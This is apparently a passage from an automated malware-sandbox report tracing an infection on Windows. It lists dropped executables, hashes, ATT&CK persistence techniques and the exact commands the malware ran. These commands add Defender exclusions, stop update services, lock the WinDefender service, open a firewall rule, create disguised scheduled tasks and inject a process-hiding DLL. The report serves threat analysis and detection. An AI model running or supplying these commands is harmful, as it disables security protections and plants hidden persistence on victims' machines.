C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2140,10614315702990020673,12642219502014500580,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2152 /prefetch:26⤵PID:4272
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/5⤵PID:952
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x114,0x170,0x7ffc189446f8,0x7ffc18944708,0x7ffc189447186⤵PID:1520
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,8195037941874649413,18071519766217407714,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 /prefetch:36⤵PID:1212
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,8195037941874649413,18071519766217407714,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:26⤵PID:4668
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\57A1.exeC:\Users\Admin\AppData\Local\Temp\57A1.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4024 -
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\mi3uv8yY.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\mi3uv8yY.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4692 -
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\yS1No7LW.exeC:\Users\Admin\AppData\Local\Temp\IXP001.TMP\yS1No7LW.exe4⤵
- Executes dropped EXE
- Adds Run key to start application
PID:2116 -
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\rh4ts4Xf.exeC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\rh4ts4Xf.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4928 -
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\is1Wu6qR.exeC:\Users\Admin\AppData\Local\Temp\IXP004.TMP\is1Wu6qR.exe6⤵
- Executes dropped EXE
- Adds Run key to start application
PID:1760 -
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1rK50Ug4.exeC:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1rK50Ug4.exe7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2608 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"8⤵PID:5328
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5328 -s 5409⤵
- Program crash
PID:5124
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2UW262Uf.exeC:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2UW262Uf.exe7⤵
- Executes dropped EXE
PID:5884
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\5C74.exeC:\Users\Admin\AppData\Local\Temp\5C74.exe2⤵
- Executes dropped EXE
PID:1440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\68D9.bat" "2⤵PID:3716
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login3⤵PID:1772
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc189446f8,0x7ffc18944708,0x7ffc189447184⤵PID:3084
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/3⤵PID:2860
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc189446f8,0x7ffc18944708,0x7ffc189447184⤵PID:1220
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\6B5A.exeC:\Users\Admin\AppData\Local\Temp\6B5A.exe2⤵
- Executes dropped EXE
PID:1812
-
-
C:\Users\Admin\AppData\Local\Temp\7425.exeC:\Users\Admin\AppData\Local\Temp\7425.exe2⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Windows security modification
- Suspicious use of AdjustPrivilegeToken
PID:2680
-
-
C:\Users\Admin\AppData\Local\Temp\7772.exeC:\Users\Admin\AppData\Local\Temp\7772.exe2⤵
- Executes dropped EXE
PID:5132
-
-
C:\Users\Admin\AppData\Local\Temp\7BC9.exeC:\Users\Admin\AppData\Local\Temp\7BC9.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5244 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5244 -s 7923⤵
- Program crash
PID:2200
-
-
-
C:\Users\Admin\AppData\Local\Temp\9AFA.exeC:\Users\Admin\AppData\Local\Temp\9AFA.exe2⤵
- Checks computer location settings
- Executes dropped EXE
PID:5148 -
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5476 -
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5336
-
-
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"3⤵
- Executes dropped EXE
PID:5644 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵PID:4712
-
-
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:6048 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3044
-
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵PID:5152
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
PID:5992
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4148
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2952
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵
- Executes dropped EXE
PID:1376 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵PID:6128
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- DcRat
- Creates scheduled task(s)
PID:5572
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵PID:1744
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵PID:3988
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵PID:6096
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵PID:3280
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- DcRat
- Creates scheduled task(s)
PID:5992
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"6⤵PID:4104
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵PID:4356
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
- Launches sc.exe
PID:4620
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\kos2.exe"C:\Users\Admin\AppData\Local\Temp\kos2.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
PID:5768 -
C:\Users\Admin\AppData\Local\Temp\set16.exe"C:\Users\Admin\AppData\Local\Temp\set16.exe"4⤵
- Executes dropped EXE
PID:5352 -
C:\Users\Admin\AppData\Local\Temp\is-9DS5U.tmp\is-BS14J.tmp"C:\Users\Admin\AppData\Local\Temp\is-9DS5U.tmp\is-BS14J.tmp" /SL4 $E020A "C:\Users\Admin\AppData\Local\Temp\set16.exe" 1281875 522245⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
PID:5324 -
C:\Program Files (x86)\MyBurn\MyBurn.exe"C:\Program Files (x86)\MyBurn\MyBurn.exe" -i6⤵
- Executes dropped EXE
PID:1240
-
-
C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" helpmsg 206⤵PID:3720
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 helpmsg 207⤵PID:5960
-
-
-
C:\Program Files (x86)\MyBurn\MyBurn.exe"C:\Program Files (x86)\MyBurn\MyBurn.exe" -s6⤵
- Executes dropped EXE
PID:4668
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\system32\schtasks.exe" /Query6⤵PID:3288
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\K.exe"C:\Users\Admin\AppData\Local\Temp\K.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1860
-
-
-
C:\Users\Admin\AppData\Local\Temp\latestX.exe"C:\Users\Admin\AppData\Local\Temp\latestX.exe"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Program Files directory
PID:5864
-
-
-
C:\Users\Admin\AppData\Local\Temp\9D7C.exeC:\Users\Admin\AppData\Local\Temp\9D7C.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4800
-
-
C:\Users\Admin\AppData\Local\Temp\9E57.exeC:\Users\Admin\AppData\Local\Temp\9E57.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5364
-
-
C:\Users\Admin\AppData\Local\Temp\A04C.exeC:\Users\Admin\AppData\Local\Temp\A04C.exe2⤵
- Executes dropped EXE
PID:5416
-
-
C:\Users\Admin\AppData\Local\Temp\A241.exeC:\Users\Admin\AppData\Local\Temp\A241.exe2⤵
- Executes dropped EXE
PID:5512
-
-
C:\Users\Admin\AppData\Local\Temp\A678.exeC:\Users\Admin\AppData\Local\Temp\A678.exe2⤵
- Executes dropped EXE
PID:5736
-
-
C:\Users\Admin\AppData\Local\Temp\B8C9.exeC:\Users\Admin\AppData\Local\Temp\B8C9.exe2⤵
- Executes dropped EXE
PID:5836 -
C:\Windows\system32\rundll32.exeC:\Windows\system32\rundll32.exe baabaaabdf.sys,#13⤵PID:5156
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\system32\rundll32.exe baabaaabdf.sys,#14⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:5300
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\C731.exeC:\Users\Admin\AppData\Local\Temp\C731.exe2⤵
- Executes dropped EXE
PID:5328
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵PID:5724
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵PID:760
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:3796
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4752
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:3220
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:3012
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:5428
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵PID:2308
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵PID:4972
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵PID:5980
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵PID:5924
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵PID:3772
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵PID:4564
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"2⤵PID:5912
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵PID:4596
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵PID:2680
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:5168
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:5620
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:5152
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:2576
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:5708
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵PID:5220
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵PID:2780
-
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵PID:4060
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵PID:1668
-
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵PID:4960
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }2⤵PID:5048
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe2⤵PID:1632
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe2⤵PID:5772
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c regini "C:\Users\Admin\AppData\Roaming\random_1697971444.txt"1⤵
- Suspicious use of WriteProcessMemory
PID:832 -
C:\Windows\system32\regini.exeregini "C:\Users\Admin\AppData\Roaming\random_1697971444.txt"2⤵PID:3956
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:3244
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:3536
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 5328 -ip 53281⤵PID:6120
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5244 -ip 52441⤵PID:5624
-
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exeC:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe1⤵
- Executes dropped EXE
PID:5928
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Executes dropped EXE
PID:3340
-
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exeC:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe1⤵
- Executes dropped EXE
PID:5880
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵PID:5468
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
152B
MD50629525c94f6548880f5f3a67846755e
SHA140ef667fc04bb1c0ae4bf2c17ded88594f0f4423
SHA256812576f4a24f399abbd54b83ba7f404f021d4a7d2ec0fd2f988ebf4cbf8477ee
SHA512f74d2e4a65a152f46852eb78dd70a958fdfb8c14e060ca41ffa783b7362e44659cc5fc73f59f3edb1f1d817000b85de7c1860512aa65d937eb5a0a8d9e5890fa
-
Filesize
152B
MD50629525c94f6548880f5f3a67846755e
SHA140ef667fc04bb1c0ae4bf2c17ded88594f0f4423
SHA256812576f4a24f399abbd54b83ba7f404f021d4a7d2ec0fd2f988ebf4cbf8477ee
SHA512f74d2e4a65a152f46852eb78dd70a958fdfb8c14e060ca41ffa783b7362e44659cc5fc73f59f3edb1f1d817000b85de7c1860512aa65d937eb5a0a8d9e5890fa
-
Filesize
152B
MD50629525c94f6548880f5f3a67846755e
SHA140ef667fc04bb1c0ae4bf2c17ded88594f0f4423
SHA256812576f4a24f399abbd54b83ba7f404f021d4a7d2ec0fd2f988ebf4cbf8477ee
SHA512f74d2e4a65a152f46852eb78dd70a958fdfb8c14e060ca41ffa783b7362e44659cc5fc73f59f3edb1f1d817000b85de7c1860512aa65d937eb5a0a8d9e5890fa
-
Filesize
152B
MD50629525c94f6548880f5f3a67846755e
SHA140ef667fc04bb1c0ae4bf2c17ded88594f0f4423
SHA256812576f4a24f399abbd54b83ba7f404f021d4a7d2ec0fd2f988ebf4cbf8477ee
SHA512f74d2e4a65a152f46852eb78dd70a958fdfb8c14e060ca41ffa783b7362e44659cc5fc73f59f3edb1f1d817000b85de7c1860512aa65d937eb5a0a8d9e5890fa
-
Filesize
152B
MD50629525c94f6548880f5f3a67846755e
SHA140ef667fc04bb1c0ae4bf2c17ded88594f0f4423
SHA256812576f4a24f399abbd54b83ba7f404f021d4a7d2ec0fd2f988ebf4cbf8477ee
SHA512f74d2e4a65a152f46852eb78dd70a958fdfb8c14e060ca41ffa783b7362e44659cc5fc73f59f3edb1f1d817000b85de7c1860512aa65d937eb5a0a8d9e5890fa
-
Filesize
152B
MD516e56f576d6ace85337e8c07ec00c0bf
SHA15c9579bb4975c93a69d1336eed5f05013dc35b9c
SHA2567796a7ba79148fc3cb46e4bbca48094376371ca9dd66f0810f7797c5e24158f5
SHA51269e89f39fa6438a74a48985387cd2e3e003858b0855ee6cd03abf6967674503b98b90573c784b4cf785b9cca594d3c8762f92def24e2bf51374ef5a00921e5e2
-
Filesize
152B
MD50629525c94f6548880f5f3a67846755e
SHA140ef667fc04bb1c0ae4bf2c17ded88594f0f4423
SHA256812576f4a24f399abbd54b83ba7f404f021d4a7d2ec0fd2f988ebf4cbf8477ee
SHA512f74d2e4a65a152f46852eb78dd70a958fdfb8c14e060ca41ffa783b7362e44659cc5fc73f59f3edb1f1d817000b85de7c1860512aa65d937eb5a0a8d9e5890fa
-
Filesize
152B
MD50629525c94f6548880f5f3a67846755e
SHA140ef667fc04bb1c0ae4bf2c17ded88594f0f4423
SHA256812576f4a24f399abbd54b83ba7f404f021d4a7d2ec0fd2f988ebf4cbf8477ee
SHA512f74d2e4a65a152f46852eb78dd70a958fdfb8c14e060ca41ffa783b7362e44659cc5fc73f59f3edb1f1d817000b85de7c1860512aa65d937eb5a0a8d9e5890fa
-
Filesize
152B
MD50629525c94f6548880f5f3a67846755e
SHA140ef667fc04bb1c0ae4bf2c17ded88594f0f4423
SHA256812576f4a24f399abbd54b83ba7f404f021d4a7d2ec0fd2f988ebf4cbf8477ee
SHA512f74d2e4a65a152f46852eb78dd70a958fdfb8c14e060ca41ffa783b7362e44659cc5fc73f59f3edb1f1d817000b85de7c1860512aa65d937eb5a0a8d9e5890fa
-
Filesize
152B
MD50629525c94f6548880f5f3a67846755e
SHA140ef667fc04bb1c0ae4bf2c17ded88594f0f4423
SHA256812576f4a24f399abbd54b83ba7f404f021d4a7d2ec0fd2f988ebf4cbf8477ee
SHA512f74d2e4a65a152f46852eb78dd70a958fdfb8c14e060ca41ffa783b7362e44659cc5fc73f59f3edb1f1d817000b85de7c1860512aa65d937eb5a0a8d9e5890fa
-
Filesize
111B
MD5285252a2f6327d41eab203dc2f402c67
SHA1acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA2565dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
SHA51211ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
-
Filesize
5KB
MD56604b31df5b7771e2eba5cf286cabe4c
SHA16025a3e20595c5b29558648e93d3610b54aa186a
SHA256b185d3e341b71908a335f36134ae7e3ef5fd35c0c2c0c181b3f551409979da39
SHA5128e57aaa993ff85cab1d3c37d4d3bd880928e6cdeb276c5c83021b68443f5fe6905df62b06fe2460ea839b51d061904313d30b849fcbfa7854e852060363a4736
-
Filesize
6KB
MD5fa0a3632efddf63115a6b921a56ab2c3
SHA1cb29da0300efbdd770c5a7f3ff576eb9480658c5
SHA2562fb21703ed4a1dd050c455fcf05e03c7fb8ffacea07bf9fb32ec05b0925ccd2e
SHA512441f8b87524f14b6709994b03fc7e7321f47c77431890a03cce201459834f406a785137564c4464e3208426c5fda4d2a72512a616593642ce95b6b1ba0770371
-
Filesize
7KB
MD5f8b144b0a26666f56906af9b2b84926d
SHA16621dfa4fecace66f37f3d079f56c65e2572faea
SHA25684c6f997b0d6331e1d345d90d352e109a3c1066303a1c85231b12c94dd06de30
SHA512d1e859b43363804170d419a0c7a815aa88cfe09b2f2a94b3c98b8162cfb84127219d35b719e87b25c93f91e792d5be7a53f9d7d8bda495046d7231b1a093be7d
-
Filesize
7KB
MD531c012e6e04a1f788638e432fb65d2e0
SHA181b9edcec90bccf6ac629487e94fc924dda5f1c9
SHA256d7bd8a5a06d6c247e0ea6332030b01f48c0e4ccd96c0c4d596605c54cc0ae673
SHA5129aa61aa0737f933e6d6155b53fd444d9bfa489690012458d1bb60797c265aeb54947e5f836be28c588244ac7b4a279874d2a82e6ae0f7384237d90b9e4715433
-
Filesize
24KB
MD5fd20981c7184673929dfcab50885629b
SHA114c2437aad662b119689008273844bac535f946c
SHA25628b7a1e7b492fff3e5268a6cd480721f211ceb6f2f999f3698b3b8cbd304bb22
SHA512b99520bbca4d2b39f8bedb59944ad97714a3c9b8a87393719f1cbc40ed63c5834979f49346d31072c4d354c612ab4db9bf7f16e7c15d6802c9ea507d8c46af75
-
Filesize
1KB
MD543b55244fe8a24e79e317b6616c6afa2
SHA1bdeb7c932e3fc69f552373105cb73174b3f639ed
SHA256e46f52519c370f89c57a5098a7bc2705e1b78069bca5a2d5f46c1420798e9a30
